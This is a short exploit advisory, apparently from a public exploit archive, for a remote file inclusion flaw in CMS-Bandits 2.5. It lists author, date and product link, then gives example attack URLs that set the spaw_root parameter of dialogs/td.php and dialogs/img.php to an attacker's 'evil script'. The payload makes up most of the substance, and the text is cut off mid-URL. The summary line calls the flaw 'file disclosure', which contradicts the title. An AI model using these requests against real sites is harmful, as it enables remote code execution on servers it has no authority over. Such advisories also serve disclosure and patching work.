CMS-Bandits 2.5 - 'spaw_root' Remote File Inclusion

Author: Federico Fazzi Contact: [email protected] Date: 08/06/2006, 11:09 Sinthesis: cms-bandits 2.5, Remote file disclosure Product: http://sourceforge.net/projects/cms-bandits http://site/cms-bandits/dialogs/td.php?spawroot=evil script http://site/cms-bandits/dialogs/img.php?spawroot=evil...